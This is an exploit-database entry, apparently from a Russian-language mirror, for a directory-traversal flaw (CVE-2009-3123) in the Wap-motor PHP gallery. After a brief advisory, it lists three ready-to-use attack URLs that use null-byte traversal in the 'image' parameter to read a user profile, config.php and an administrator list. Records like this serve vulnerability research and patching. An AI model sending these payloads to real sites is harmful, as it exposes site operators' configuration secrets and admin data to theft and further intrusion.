Exploit Wap-motor - 'image' Directory Traversal

[Exploiter]

EDB-ID

34873

Проверка EDB

1. Пройдено

Автор

INJ3CT0R

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-3123

Дата публикации

2009-08-27

Wap-motor - 'image' Directory Traversal

source:  https://www.securityfocus.com/bid/44223/info

Wap-motor is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Versions prior to Wap-motor 18.1 are vulnerable. 

http://www.example.com/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif
http://www.example.com/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif